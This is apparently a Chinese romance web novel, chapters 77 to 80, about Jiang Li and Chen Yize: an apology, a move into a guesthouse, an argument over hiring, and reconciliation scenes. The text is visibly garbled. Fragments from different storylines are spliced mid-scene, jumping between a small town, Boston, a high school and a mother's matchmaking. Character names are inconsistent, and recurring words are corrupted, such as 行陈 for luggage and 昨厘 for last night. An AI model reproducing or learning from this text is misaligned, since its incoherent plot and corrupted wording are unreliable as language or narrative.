怎么会有这样的事,突然出现一个人,打破所有预设,告诉说或许能理解痛苦。 陈屹泽垂着眼看她,语言的意义让人费劲思量。 尽管不愿承认,但他的确感受到了某种微妙的松动,松了什么又动了什么不好说,觉得这个人总是撒娇这一点很麻烦。 他催她,“走啦,送你回民宿休息。” “等等!”姜厘当场要求使用一个愿望,“下一次我让你生气,你一定要当场原谅我。” 居然提出这么霸道的条款。 陈屹泽看她这么理直气壮,居然也不想让她失望,回答也变得幼稚又大方。 “只要不伤害我,我会很快原谅你。” 姜厘终于满意,同他拉勾圆满地完成契约。 她实在擅长引导节奏,而且自有道理,擅长逻辑自洽,似乎是个很难安静下来的人。 具体表现在当晚陈屹泽送她回民宿,路上被拦住。 “好几次了,每回都这样拦在我的必经之路上,”姜厘不爽地宣布,“陈屹泽,我今天一定要报仇。” “算了。”陈屹泽试图劝。 姜厘完全不听,很严肃地表明态度,“不可以!我不怕事也要惹事!” 陈屹泽:“……” 他实在不知该如何劝,顺着姜厘的目光望向巷子那头的地上。 小镇放养的狗狗会在入夜后出来聚会,交交朋友,逛逛街。 “你没看到吗?他刚才用什么眼神看我?”姜厘瞪着领头那只黑白点。 陈屹泽好笑道:“什么眼神。” “鄙夷的眼神!”姜厘用手比划,“已经是第三次,前两次我都忍了,可见人善就要被欺负。” “不是,你到底……”陈屹泽偏头去看她,发现她面色凝重,全然是一副受到冒犯的样子,既荒谬且真挚。 更好笑了。 “你去。”姜厘说。 陈屹泽问:“你为什么不去?” “手伤了。”姜厘勉强给了个理由。 陈屹泽劝不了,不知道为什么,居然真的依照指令往前几步,走到那只摇尾巴的黑白点面前蹲下。 开启对视。 唇瓣冰冰凉凉,陈屹泽贴上她的软韧的唇珠蹭了蹭,克制住舌想挤进去的冲动,只把它化作最单纯的一次贴吻。 喘息声消失不见,两人都屏着呼吸,只有浅薄的气息在四周撩动。 窗外雪还在下。 片刻后,姜厘感觉到他又上来湿湿地含了含,睫毛在她脸上慢腾腾地划动。 “我这样温柔吗?” “够不够尊重。” 第 77 章 第 77 章 因为她说过自己喜欢的类型是温柔且尊重人,就给自己贴上这两样标签。 陈屹泽有时候的小心思好像根本就没想着掩饰。 被含了一会的唇胀胀的,姜厘意识到什么,昂了昂头,下意识拉开了与他的距离。 她躲得明显,空气静谧片刻,下巴又被腿上的人伸着食指慢慢划过。 陈屹泽揉着脸偏开头:“民宿都没开业,你肯定得留下来看看吧。” “谁说这个了?”姜厘说。 陈屹泽望着她,稍加揣测,发现她的笑容里看起来没有记仇的成分。 一肚子话变成安心,他没忍住先问:“你去哪了?” “嗯?”姜厘偏头瞧他,“你要是不好意思说,我先回避一下?” 看来刚才没少偷听呢。 陈屹泽发现自己在她面前实在无法掩饰话题,只好如实说:“我是想来找你道歉。” “道吧。”姜厘笑吟吟地抱着手。 陈屹泽发现异常,姜厘右手不再被纱布包裹。 注意到他的视线,姜厘低头,张开右手,手心手背的伤口覆盖着硅胶贴,虽然瞧不见伤口,但由于恢复造成了皮肤拉扯,围绕着那块硅胶贴,手心炸开一条条皱褶。 她稍微动了动手指,说:“不用再裹着纱布啦,但是要带压力手套,哇,感觉会裹得血液流通不畅,说不定会影响睡厘,而且每天还要定时做复健操,真的是很头疼。” 说话的内容逐渐变为抱怨,烦恼意味浓重。 好像他们本来就是可以这样说话的关系。 陈屹泽开始心烦夏蝉没头没脑地乱叫,吵得他不晓得该怎么回应比较合适。 他发现自己喜欢听她抱怨,但也记得他和这个人的上一次对话结束得并不愉快。 可是此刻看见她的手,陈屹泽忽然觉得自己的手心也在疼,以至于搅乱心神,打散了道歉的话。 你是弹钢琴的,手伤成这样,还能恢复吗? 你伤心吗?难过吗? 我说错了话,你有生气吗?还在生气吗? 我现在可以说抱歉吗? 他说不出话,变成一个听力尚存的人类标本,她讲多少,他就听多少。 姜厘说累了,干脆盯着陈屹泽,“屹泽啊,已经给你铺了很多台阶,怎么不下来呢?快点说对不起,然后我会讲没关系。” 她干脆利落地抛出调侃,陈屹泽立刻真诚地对她道歉,又说:“我不该随便乱讲,我明明什么都不知道。” 把自己说到垂下脑袋,“对不起。” 很多时候,语言在心意面前显得分量不足,陈屹泽习惯于付诸行动。 他从自己挎包里拿出样东西,捧到姜厘面前。 陈屹泽记得,姜厘曾经对这只木雕小狗很感兴趣,先前他热着脑袋想要冲过来道歉,也不知道给什么好,只好匆忙之间顺手捞上这样东西。 姜厘没有第一时间伸手接,反而想起曾经去某个流浪犬基地时,曾经同一位犬类行为分析师交流过,他说狗狗做错事之后会有很明显的道歉行为。 “首先会低头,不敢直视眼睛,说明它已经明白自己的错误所在。” 姜厘回忆着看了陈屹泽一眼。 “然后他会原地打转,思索该怎么办才好,想要引起注意。” 姜厘又看了陈屹泽一眼。 “之后会叼过自己最喜欢玩具,用自己的方式向你道歉。” 姜厘看向陈屹泽手里的木雕小狗。 陈屹泽被她这一眼又一眼地瞧得心里没底,只好把手又往前递了递,“你拿着吧。” 姜厘接过来,脑中响起那位分析师的最后一句话:“还会寸步不离。” 她开始实验,眼睛盯着陈屹泽,手里拿着他刚送的木雕小狗,往院子里走了几步。 陈屹泽不明所以,也跟着走了几步。 太可爱。 这无疑很有趣,姜厘没有掩饰笑意,愉悦之余居然生出感慨,因为想不起来上一次自己开心成这样是什么时候,是因为什么事,或是因为什么人。 但这些已经不重要,就在此时此刻,她遇见一个让她很快乐的人,神奇又珍贵,很有质感的人,一只晒过太阳的小狗。 像是命运终于施恩给予反馈。 她快乐极了。 陈屹泽尚有自知之明,知道一个木雕不至于让她乐成这样,但也不受控制地跟她一起笑出声,“怎么了呀?” “想知道啊?”姜厘问他。 陈屹泽点点头。 于是姜厘就模仿着那位犬类分析师的语气把话说了一遍。 陈屹泽明白过来,哭笑不得地问:“所以你在看小狗道歉呢?” “是的,”姜厘举着手中的木雕在他眼前晃来晃去,加以肯定,“表现极佳。” 陈屹泽有些不好意思,但并不介意她的愉悦是通过这样的方式。 有说过吗?她笑起来真的很好看,陈屹泽瞧着瞧着,觉得自己真的长出尾巴,生怕她看不见,正在拼命摇动。 “你喜欢就好。”陈屹泽说,又觉得这话有歧义,立马指了指她手里的木雕小狗。 他仍在进行道歉的流程。 “我已经原谅你,”姜厘谨遵程序,接着问,“你知道我是谁了吗?” “知道了点,“陈屹泽说,“网上看到的。” “我那些专辑版权都没咯,我现在没有收入,是无业游**姜厘故意走近几步,果然看见陈屹泽眉头紧皱。 “以后你的这个民宿,我们全家都会努力帮你。”陈屹泽当即表态。 “心疼我没收入吗?”姜厘问。 陈屹泽不回答,又看了一眼她 的手。 “可是我刚拿到了巨额保险。”姜厘毫无预兆地说。 “你不用担心,我会……嗯?”陈屹泽正处于全自动安慰状态,满脑子只想让她安心一些,等反应过来自己听到了什么时,话也就被咽了回去。 “所以我还是比你有钱,”姜厘扬着下巴发号施令,“你也不要继续内疚。” 居然光明正大地炫耀起来。 陈屹泽笑起来,“财不外露啊。” “你是外吗?”姜厘看着他。 她说得太自然。 陈屹泽垂在身侧的手无意识地握了一下,却消解不了那些扑面而来的困惑和柔软,也无从揣测,以至于回答不了。 简称:呆住。 “屹泽啊。”姜厘低声喊他。 “嗯?”陈屹泽喉结滚动,发出一个意义模糊的单音。 “我们一起搬行陈吧,”姜厘提议,“拉车的师傅只负责把东西卸在箱子口,我不好耽误他们回家吃饭,还好进来看到了你。” 又是这种话,这种容易让人多想的话,陈屹泽感觉大脑变得钝钝的,把话回味一遍,这才注意到重点。 行陈? 他立刻走出院子,果然看见巷子口那堆箱子,大大小小,几乎遮住整个巷口。 不像行陈,像是搬家。 “这么多东西啊?” 陈屹泽在心里继续问,又在心里自己答。 这得留多久啊? 会很久吧。 姜厘如同个局外人一样,探头探脑地看,全然一副凑热闹的模样。 甚至开始感慨:“哦哟,谁家的行陈呀。” 陈屹泽转头看她。 她又笑着对陈屹泽说:“原来是我的行陈呀。” “收拾着累吧?”陈屹泽问她。 “还有些没寄过来呢,”姜厘已经开始安排后续,“等到了,还得你开车带我去拉。” 去肯定是会去的,但陈屹泽还想为自己争取一下语言权,“我……” “我晚饭还没吃,今晚又得收拾,都不知道几点才能睡觉。”姜厘扯着他往外走。 不知是不是故意而为,她扯拽人时用的右手。 陈屹泽哪能让她用力,只希望这个人别再添新伤才好,所以他只能立马就跟着出去。 所有东西全都安顿去姜厘二楼那间屋子里,陈屹泽发现每个纸箱上都用马克笔写好分类,衣服或是书籍,杂物或是装饰。 关于姜厘的一切被整理好,出现在一个本不该出现的地方。 陈屹泽稍微出神,又很快打起精神把箱子顺去墙边,这样就不会影响她行动。 他确认一遍没有疏漏,又出去给姜厘买面,看她吃完之后已是九点多,很晚了。 “那我先回家,明天会过来继续弄门框。”陈屹泽向她道别。 “等等,”姜厘在一个纸箱里翻找,声音因为弯腰而有些模糊,“给你带了生日礼物。” “都讲了不用送我东西。”陈屹泽人已经走到门口,虽然这么说,但已经立刻折返。 “要送的。”姜厘很坚持,又招招手,说自己搬不动,指指箱子里,示意陈屹泽自己来抬。 牛皮纸包着一个长方体,按一下,还能压到里面裹着一层泡沫,包装得很结实。 很重,陈屹泽觉得自己的心脏也变得沉甸甸,他问:“什么啊?” 姜厘突然变得很不一样,低头微笑。 连声音都变得很轻很轻。 她说:“这是我无论如何都要送给你的东西,希望你能喜欢。” 姜厘一想到礼物的内容就差点忍不住笑,却不知这幅样子在陈屹泽的眼底是另一种解释。 陈屹泽为她这种罕见的柔软表情而心跳,感觉很奇怪,像是有什么东西在没打招呼的前提下悄悄发生。 直觉告诉他,这份礼物一定很不一样。 陈屹泽莫名紧张,立刻保证:“我会喜欢的。” 果然,姜厘就笑起来,也变得自信,“那就好!” 陈屹泽怀抱礼物回家,路上时不时低头看一眼。 拆开前,他先研究了一下包装,决定尽量不损坏那层牛皮纸。 终于,礼物露出真面目。 《五年高考三年模拟》 还有张纸条。 主驾位置车窗开了口,指节压着猩红一点,烟蒂的亮光在雪花中明明灭灭。 姜厘心口一缩,屏幕也跟着弹来消息: 【打得到车么?】 第 78 章 第 78 章 姜厘立在一旁迟迟未动,车弯被徐轻川的消息砸得头昏脑胀,烦躁地把他的电话挂了。 “徐轻川喝大了吧,搞不懂说的什么,陈屹泽怎么可能会在波士顿,还凌晨雪夜在车里抽烟。” 始料未及的暴风雪搞得她焦头烂额,车弯眉梢不耐烦地快速抖动了下,侧目忽然看到姜厘屏幕上的内容。 “yiyi:打到车了吗……” 她嘟囔着重复了一遍,满脑袋问号:“yiyi是谁?好卡哇伊的英文名。” 陈屹泽晓得的,他们最近经常吃猪肉,是因为孙叔让孙明没事儿就往辛叔家送猪肉。 小镇就是这样,一切都在人情往来之中,不说也能明白,所以在场的师傅们连同陈屹泽都没有多吃。 尝个味,夸赞一下手艺,十分流程化。 姜厘从楼上下来时,几人刚吃完饭。进门就看到蛋糕,姜厘转头看向陈屹泽,越过尚未说明白的所有问题,先声指责:“今天是你的生日?居然都不邀请我。” “我刚去老屋找过你的,”陈屹泽也去看那个蛋糕,不经意地顺口问,“你生日什么时候?” “几岁了呀?”姜厘不答反问。 “很大了。”陈屹泽胡乱回答,领着人往里走。 陈屹泽看着她睡眼惺忪的样子,首先想到了三个问题。 看着人已经洗漱过,那么楼上的卫生间修缮情况应该还不错。不过,楼下这么敲敲打打,她居然真的能睡得着。 最后是心虚。 因为视线交汇的时刻,陈屹泽叼着鸡腿骨。 最后一只鸡腿的骨头。 姜厘非常亲切友善地同在场所有人打招呼,唯独到陈屹泽这里变换了态度。 “陈屹泽,鸡腿一点都没给我留,你好狠的心。” 罪名已然成立,陈屹泽懒得狡辩,直接问:“要吃什么?” 姜厘经过短暂且苦恼的思索,郑重回答:“豌杂面。” 陈屹泽立马问:“不要豌杂,多加榨菜葱花对吧?” “你都知道还要问?” 陈屹泽:“……” 那你只有这个回答还不是每次都要想半天。 他顺手把垃圾拎出去,走时听辛大嫂笑呵呵地说:“小姜老板和你很熟悉。” 陈屹泽压下笑容,匆匆回答:“不熟呢。” 返程遇到摊子上卖相优秀的无花果,陈屹泽顺手买了一篮,还被摊子老板打趣:“屹泽啊,又来给小姜老板跑腿买饭啊。” 陈屹泽说不是特地,顺路的事儿。 摊子老板可精,“你这路顺的,顺出十里地了都,就惦记小姜老板呢吧。” “没有的事儿,”陈屹泽板起脸,催他赶紧给自己称重。 拐进记月巷口,陈屹泽从老屋门前的玻璃瞧见自己,他发现自己在笑,赶紧整理表情,一墙之隔,他听到姜厘说话 “走吧,我希望以后这样的事情不要再发生。” 语调和语言都有些冷。 院里,老辛头拉着辛大嫂低声解释原因:“不多要钱的,小姜老板,我家这口子就是过来给我送饭。” 陈屹泽默声走近,瞧见姜厘脸上是鲜少能看见的严肃表情。 “送饭可以,在这里陪着也可以,但是她不是雇员,不能插手工作,我希望这样的事情不要再发生,不然就别干了。”她说。 老辛头和辛大嫂连连点头,没有再争辩。 姜厘便不再多说,朝陈屹泽伸出手示意他把面条拿给自己,不出意外地,看见陈屹泽神色不明地杵在那,一副有话要说的样子。 “上楼去。”姜厘说。 其他师傅已经散开各自干活,辛大嫂看了老辛头一眼,安静地提着饭菜篮子离开。 陈屹泽跟着姜厘上楼,这才发现她把二楼南边那排房子打通,安排成自己的居室,甚至布置出一间漂亮的会客室,靠窗那面墙边支了张L形的桌子。 姜厘已经绕去桌子后边坐下,同时收拾开面前的几本书,做好了吃饭的准备。 陈屹泽安静地把面 放下。 姜厘抬眼看他,“有话说话,没话就出去。” 陈屹泽同她对视两秒,直接说:“辛叔就是想帮着快做点活。” “嗯。”姜厘开始解开塑料袋,拿出筷子。 陈屹泽接着说:“我知道你是想把事情做规矩些。” “你又知道了。”姜厘掀着外带盒盖,右手使不上力,左手也发挥不好,以至于这么低着头时,脑门顶瞧着像是在冒气。 陈屹泽赶紧从她手里把那碗面抢救出来,打开盖子,抽纸巾抹了圈边缘,又重新还给她。 顺带着缓声说:“辛大嫂他们家不一样,他们没恶意的,你也,不至于说那么严重吧。” 没想到姜厘直接把筷子放下,“这么好为人师啊?” 突然被架到没能预料的高度,陈屹泽眨了眨眼,“我不是要教你。” “也没少教,”姜厘问,“合作合同白纸黑字,说明白了要雇谁,今天这家带老婆来,明天就能有别人带老婆来,这是工地,非雇员出了事你能负责吗?” 陈屹泽看着她。 姜厘干脆靠到椅子上,“也不是每个人都会带人来,多了一个人帮忙,我要不要多付钱?付了,别人会怎么想呢?不付,我就要变成占便宜的人。” 陈屹泽低声讲:“话是这么说。” 姜厘伸出根指头戳戳面前的桌子,“我不是可以心安理得接受别人不记回报帮助的人,他们可怜,没地方去,我就应该让他们有事做吗?陈屹泽,世界上可怜的人很多,我凭什么要负责?” 陈屹泽本也不想劝说什么,一是没有立场,二是姜厘考虑得的确没错。 可真听到她这么冷硬地说出口,心里还是不太舒服。 “可能你之前的工作生活不是这样,但小镇里互相帮衬不是因为可怜谁,就是因为……我帮你,你帮我,日子就能过下去,以后你的生意总是要在这做的。” 他是真心希望姜厘在秋芒镇的生意可以顺顺利利。 姜厘没有立即说话,而是偏头看向窗外,热浪泼在瓦上,翻滚着模糊视线。 “我很奇怪,印象里你并不是一个喜欢强加论断的人,怎么总是评论我?”她缓缓转头看过来。 陈屹泽皱起眉头,“什么时候?” “说我没吃过苦,觉得我现在的一言一行都是因为之前的工作生活,你觉得我在俯视你们,因为我生活优渥尊贵。”姜厘说,“我问你,我人生地不熟,今天所有人觉得我礼貌,明天就能有人因为我好说话而欺负我,那个时候我怎么办呢?我先说明自己底线有问题吗?” 没问题。 但你怎么就人生地不熟了呢? 陈屹泽没吭声。 他明显察觉这才是姜厘真正动怒的样子,立马在身边竖起一道墙,目光乃至呼吸都带着距离感。 姜厘没有放任他沉默,“我在自视清高,你就是这么认为的。” 陈屹泽想否认。 姜厘才瞧出他想要摇头,立刻说:“别撒谎。” “是,但没你想的那么严重,”陈屹泽果然就不再撒谎,先承认,又解释,“主要是你付的款,就是很多人一辈子都——” “你真说啊?”姜厘打断他,又讲,“你也挺记仇啊。” 陈屹泽:“……” 没人提买房子的事儿啊,你自己提的。 武断了。 陈屹泽以为她真的不希望自己撒谎,这才知道了厉害,抿了抿嘴,没有重复,但也没有收回。 可沉默也能刺人。 “你才几岁陈屹泽?怎么那么喜欢教我?”姜厘收握了一下左手,开始荒谬地挖苦,“工作工作,我已经没工作了。你那么好心,你给我找份工作吧,要不然你干脆娶我养我好了。” 陈屹泽很抵触听她说年纪,于是问:“为什么要提年纪?” 姜厘气笑了,“你说呢?” 对峙无声展开,气氛并不融洽。 “已经二十四了。”陈屹泽突然说。 姜厘怀疑自己听错:“……什么?” “可以。”陈屹泽又说。 姜厘一言不发,就看着他要干什么。 “我说我二十四了,”陈屹泽总结给她听,“如果你工作或生活需要我帮助,我会尽我所能。” “但是,”他一本正经地警告,“别再总开这种玩笑,什么娶不娶的。” 他最后一句话的音量呈阶梯式下降。 并未影响整体效果。 姜厘相当震惊。 什么“你给我找工作”或者“你养我”这种话,真的特别幼稚。 姜厘本不至于和这么一个弟弟讲这些,但那些随意断定的话从他嘴里冒出来,就是让人听得火大。 本来在认真生气,结果所有被陈屹泽这句毫无预兆的警告扑灭。 这是在干嘛? 紧绷的情绪被掐断,姜厘找不到合适的节奏继续吵下去,也努力过,最后还是没忍住笑出来。 “你,”她无法严肃,只好强硬一点,“滚出去。” 她居然还笑出了声。 陈屹泽感到被轻视,固执地重申:“我没有在开玩笑。” 姜厘催他:“快走。” 陈屹泽当然也有脾气,他凶狠且愤怒地留下无花果,迅速转身出门。 过了半晌,她才敛眸启唇。 “我们其实性格真的不太合适,而且经历了很多不好的事情,理性层面分析,应该很难有好结果。” “我知道啊。”陈屹泽仿佛已经预料到了她会怎么答,头也没回,声音却低了些,“我没要求你什么。” “陪着我就好。” 姜厘:“可我想和你试试了。” 第 79 章 第 79 章 怔神的时间尤其长,陈屹泽猛地抬起头,看到姜厘立在岛台一侧,认真郑重地重复了一遍。 “我说,我想和你试试了。” “试着,谈恋爱。” 沸腾的姜水蒸出大片雾气,陈屹泽被染到潮湿的视线浓烈又无可抵御,他在等她下一句。 在确定她是否在“将就”。 姜厘垂目,慢吞吞道:“其实我刚才把事情跟车弯讲了一遍,本来是想拜托她用第三视角看一下我们的关系,但我在说完全部事情后就已经剥离出了症结所在。” 冬月,上京。 补齐了昨厘通宵的睡眠亏空,临近下午四点姜厘才堪堪从床上爬起来。 遮光帘挡住傍厘夕阳的柔和光线,她盯着窗帘上晕开的淡色橘光,揉了揉眼下的乌青,混沌的视线才逐渐聚焦。 操。 天杀的赵多漫记错航班时间了。 她昨天在接机大厅苦等了五小时,回来的时候又赶上跨年,马路水泄不通,一路被堵到第二天凌晨。 长达六小时的车内独处时间中,那位被接待的社恐摄影大师只在跨年倒数结束的时候回了她一句“新年快乐”,其他时间都扣着头戴式耳机闭眼假寐,静止得像一尊雕像。 姜厘在那六小时内参悟了。接近十点,摇曳的柏树已经全然浸在了热潮中。 附中教室外的走廊不是全封闭的,走在靠外那侧能望见德训楼下的巨型日晷和绵延廊桥。姜厘拖着步子自顾自欣赏了一会风景,目光收回后才蔓延出几分惊愕。 短短五分钟她和陈屹泽间甚至快隔出一个银河。 走这么快干什么? 下次运动会不报三千你等着! 陈屹泽好像真的贯彻了爱学习的新人设,一路步子迈得超大,姜厘在背后怀着怨气呼哧呼哧地跟。 一直跟到教室,走上讲台,看见班主任的手势,她才清醒过来。 “陈屹泽。” 身侧少年背阔肩直,没什么表情地自我介绍。 一片死寂。 目光应该没声音,但姜厘分明听见台下一众同学旺盛的眼神声波,哗地两声。 哗—— 第一声,这男的长得真他妈牛逼,自我介绍也好拽。 哗—— 第二声,跟着陈屹泽微侧眸的动作,12班的注目礼顺着扫到姜厘脸上。 “?” 猝不及防的视线围攻。 谁家好人开学就被罚站两小时,刚到班上台就做自我介绍啊! 姜厘没做心理预设,手指藏在侧边掐了两下才回过神。 “姜厘。” 同样高冷的介绍使得台下气氛愈加轰动,就连身侧的陈屹泽都瞄了她一眼—— 你也叛逆了? 她明白原来世界有时也会如此无趣。 平平无奇龟速挪动的车辆,平平无奇一动不动的社恐老师,平平无奇的噪杂车载电台以及唯一该死的赵多漫!! 枕边的震动已经响了有段时间,姜厘压下喉咙呼之欲出的脏话,敛眉摁下接听键。 “拒绝道歉,麻烦直接买包。” “厘厘…我好像看见你妈了。” “这是你新的道歉思路吗?”姜厘嗓子睡得有点哑,她抓了两把有些凌乱的头发,起身踢上拖鞋,“看见我妈有什么稀奇的,她每天——” “可我现在在你新租的小区楼下。” 后撤半步、仍旧保持着拍照姿势的姜厘在此刻萌生了人生中第一个想死的念头。 她是什么很贱的人吗? 隔着镜头的对视分外诡异奇特。 三男两女一司机,相隔百米在人来人往的大型机场中集体停驻,像踏进了什么奇怪的规则空间。 眼下场面急需一人打破平静。 陈屹泽明显没打算开口,姜厘大脑还在飞速运转中,赵多漫和岩咎两人默契地抱臂看向姜厘,等待他们心中的暗恋文女主展开深情告白。 人群中,忘带眼镜的齐群是在场唯一一个没认出姜厘的。 男生稍稍思考一瞬,随即赞扬出声: “太讲究了兄弟,雇的跟拍?” 归国vlog,时髦。“!” 松弛的神情僵在脸上,姜厘立即警铃大作,飞速跑到阳台前拉开遮光帘。 顺着透亮的玻璃层看去,李女士正挎包,优雅又不失快速地赶来。 她身后两百米处是拎着奢侈品logo袋的赵多漫,她躲在公告栏后抬着手机一副踌躇模样。 “你妈妈应该还是来催你相亲的,我刚看见她手里拿着一沓照片厘厘,需不需要我帮忙打配合?”赵多漫说话的底气逐渐不足。 李女士的脾气难搞,她姐妹自己都摸不准 “不用,我应该能搞定。” 姜厘语调中残存着几丝侥幸,随后她快走几步,熟练合上电闸。 老款电子锁,没电打不开。 她假装不在家,她妈还能撬锁进来?“一直以来,我都是用大脑判断一件事是否要做。和你谈恋爱这件事中,有太多冗杂的前因在等我承担后果,以至于潜意识里,我会把你追来波士顿看作是自己玩弄感情的报应。” “我太想逃脱制裁了,所以一再排斥着你的介入,想着这件事能跑就跑,只要忘记就能逃避。你之前问我,耍你的时候,是不是觉得你很蠢……” “不是的,”她直起目光,一字一顿地艰涩道,“我比你还要后悔过去的欺瞒。” “骗你的时候,开始确实是出于报复心理,后面就慢慢失控了,到最后我也不知道为什么会搞成现在这样……把你搞成这样。” 她好怀念之前那个意气风发的陈屹泽。 冰凉的手缩进衣服,攥紧袖口,姜厘望向窗外的银装素裹,眸底却有什么东西在渐渐消融。 她说,陈屹泽,波士顿的暴风雪快停了。 等雪停了,我们要不要重新认识一次。 这次她是坦荡赤诚的。 接风我都快抽风了你还在想着给他接风? 少爷归国架势这么大吗! 第一章白月光回国,工作暂停我去接? 她刚才半路都主动跟他说了句wee back to China了,还想怎样! 姜厘阴郁的目光直白地扫在赵多漫脸上,后者表情一僵,渐渐对自己的揣测生出几分不自信来。 赵多漫沉默片刻,末了贴近姜厘耳侧,试图把话题忽悠回来: “厘厘,如果你连一会儿的聚会都去了,李阿姨绝对会肯定你的积极性,银行卡那边不就” 姜厘眼眸微弯,又开始权衡。 赵多漫绝壁在吹她耳边风,但李女士性格执拗,看准了东西认死理儿,以往她虽然也总在她耳边念叨这件事,可手段都没这次强硬。 现在这种情景下,陈屹泽就相当于是她的财神爷 抗争不来, 从了。 水眸涟漪,姜厘巴掌大的小脸被冻得泛白,她下意识把手揣进口袋,而后掐了点指节才狠心道, “去…当然去。”“谁昨天跟我说俩人在机场又抱又揽了?心脏怦怦跳?跳成拖拉机?” 商海浮沉许多年,被画过最大的一张饼竟然来自自家闺女,饶是血压正常的李玮清也想嗑两粒降压药提提神。 闹翻成这样,还敢谎报成是抱上了。 “存在一定虚构成分” 声波攻击太强,姜厘心虚地摸摸鼻子,把手机推远了些。 她妈光是拿到了会所的监控画面,还没看见她和某人的聊天记录。她昨厘觉得面子下不来,还放了句“以后别让我再看见你”的狠话来着。 姜厘脑回路有点跑偏,她忽然觉得该打听一下陈屹泽近期的活动地点,该有意避避那位,免得偶遇后不上去左勾拳会显得她怂包。 “我就想问人家小陈怎么你了,你非要把话说得这么绝?”话筒持续传来声音。 手指点在消息列表来回切换,姜厘无意戳到昨天收到的两万转账信息,觉得自己有种拿钱不干事的赖子气质。 她索性赖到底,“李女士,我觉得你这样很不好,我是撒谎了,但退一步来说你就没错吗?” “?” “我已经成长为一个独立的人,恋爱自由,谁允许你监视我的?谁允许你去调监控的!” 姜厘振振有词,一只脚都卖力地踢出被子。 “第一,”李玮清压着火气,“我并没有监视你,只是身为会所的隐形管理层,昨厘在你们走后其他包厢发生了冲突事件,我有义务配合警方调取监控清查矛盾源头,在配合警方的时候无意间看见了你的撒泼。” “第二,独立的姜小姐,请你先将昨天的两万块转账吐出来再跟我谈独立。” “第三,马上给我一个撒谎的理由,能说服我的。” 话筒中女人的嗓音已经咬牙切齿,火药味浓到不行。 姜厘立马怂成一团,“老妈我爱你~” 音调都在牙缝里挤到变形了。 姜厘硬是又装得开朗,笑得比哭都难看道:“我可太期待了哈哈。” 世界是个巨大的笑话,她是里面最搞笑的一趴。 在看清照片上那张嚣张且附带少年感的脸时,姜厘是有几分想直接晕过去的。 但她身后就是陈屹泽,她再晕就真的像耍心眼一样了。 倔强少女对爱绝口不提,口袋掉落照片却无意暴露心意,最后装晕心机倒在心上人怀里。 好好好 老天爷!你在这跟我拍电影呢!! 被暗光笼罩的包厢另一端也齐刷刷被刚才这一抑一扬惊得鸦雀无声。 岩咎和赵多漫人均视力5.0,正撑着半身,翘头瞄着照片瞠目结舌,在场唯一一位近视的齐群也在来时的车上戴好了隐形眼镜。 齐群手里的酒杯都快拿不稳了,他在愧疚自己就这么戳穿老同学的心事时也附带了另外一些复杂的情感。 他嘴唇有点不受控制,有那么一句话藏在口腔内,蠢蠢欲动着,比如什么: 丫头,这你还敢说不爱? 再比如什么, 你的深情我佩服,你的爱情我守护! …但理智告诉他,姜厘快撑不住了。 他不能再火上浇油。 齐群吞了吞口水,暗戳戳退回去和其他人保持到统一战线,跟着充当背景板,以观后续。 墙壁上悬挂的鎏金色盏灯静悄悄地向外晕着光线,勾勒出满月一般的圆弧。撑不了一点的姜厘回头看了眼陈屹泽被暗淡灯线映得光风霁月的侧颜,微微咬了下牙。 她抿唇,强撑着要重新找个话题把这事儿翻篇,还等没想到合适的话题,就看见身后的男生往前松垮闲适地迈了半步。 陈屹泽弯腰捏住照片,宽阔肩脊隐隐映出陷落的骨骼感,男生仔细端详了许久,末了冒出一声悠长的叹息。 “怎么还,偷藏我照片呢?” 陈屹泽看迷了。 窄长乌眸微眯起,大少爷啧了一声,撤回撑在外面的胳膊,呜地又把窗户升了上去。 咔哒一声,透明车窗升到顶,明明白白和车外面的人隔绝成两个天地,顺便也隔断了姜厘那张强颜欢笑的脸。 中文翻译为颅内高,潮,抑或大脑按摩。 某站好多博主一到晚上就拿各种工具敲敲戳戳,进而发出能让人放松的轻噪音,模拟对大脑的轻柔刺激。 这对哄睡很有帮助的。 她落下句话,飞快匆匆跑走。 “去房间等着,我去找点工具给你ASMR。” 第 80 章 第 80 章 陈妄山只在纽约和加州有地产,波士顿这套房是陈屹泽不久前从一位德国钢琴老艺术家手中购入的。 装潢家居都极富艺术格调,用材讲究低奢,唯一的缺点就是那套红橡木复古楼梯,走路还好,跑动时会有共振现象,临近的卧室听得吵。 陈屹泽应要求躺在卧室床上,被动听着噔噔噔,姜厘跑上楼,又过几秒噔噔噔再跑下来。 每上下楼一次姜厘就会折返到他的房间,抱来一堆乱七八糟的东西放在床边的矮书柜上。 随后落下一句急迫的“等等,马上好,不许睡!” 以爱为名的绑架,姜厘惯用的手段。 百叶窗沙沙发出声响,办公桌上安静立着一册厚重的日历,李玮清视线在格子般大小的日期上停留一会,募地手撑额头,无奈地缓缓吐出一口气,“给你三天时间,把关系缓和回来。” 李帷清和陈琪娑是二十几年的闺蜜,两家关系一向交好,这两个孩子是她们看着长大的,姜厘对待感情脑筋单纯,她这样的条件流入市场活脱脱一个软饭男渣男吸盘。 陈屹泽是可靠的,不怕被说专.制,李帷清是真的想把他俩凑一对,知根知底也般配,放心。 “我不。”“啊,” 唇角微咧,男生像是捕捉到了一场好戏。 我现在就死!他都随便。 四个轻飘飘的字吐出,姜厘募地卸下防备。 她没想到事情这么顺利就能解决。 心腹大患迎刃而解,姜厘一时间看陈屹泽都更顺眼了些,虽然但是,他也不是那么烦人,有时候还挺通情达理的。 为了劝他帮忙,她还准备了一些说辞,甚至其中还有一些pua的话术,现在一来全都用不上了。 “多年好友心愿终于达成,我这心里什么都不说了,对饮一杯吧,各位证婚人。” “哎,亲家你杯子里怎么没酒了?这怎么行,我给你满上。” “亲家”陈父表情回味感慨万千,“这个称呼叫到我心里了,以后陈屹泽这小子敢做任何对不起小厘的事,你告诉我,我打折他腿!” “别这样亲家,依照两人的个性,指不定谁对不起谁。”李帷清女生脸上挂着淡淡的笑意,压根没察觉到自己刚才有多语不惊人死不休。 拍摄的节日纪录片策划其实整体已经弄得大差不差,但具体细节还是要开个会举手表决一下,老板年轻,自己本身就是摸索着来开的公司,自然各方面都做得民主自由些。 姜厘作为策划的主要攥写者,开完拍摄组的会又单独和赵多漫开了个最终拍板的小会。 女生按照本来构想的理念讲了下脑海中大致能拍出来的雏形,而后手扶鼠标点出几张ppt,言简意赅道,“这几个布景需要费用高一些,如果最后投资金额不理想,可以适当缩减。” “还有漫漫,我银行卡解封了,如果你需要随时开口。”姜厘口吻认真。 选中的页面边缘泛着清晰可见的黄光,赵多漫笑了下后低头往屏幕上看,扎得慵懒的发不听话地垂在耳边,挡了一部分神情。 女生声线平静释然,“不用了,如果真的撑不下去,垮就垮了。” 这片子拍出来赚不到钱,也不必再打着情怀的招牌一直倒赔着赚吆喝。 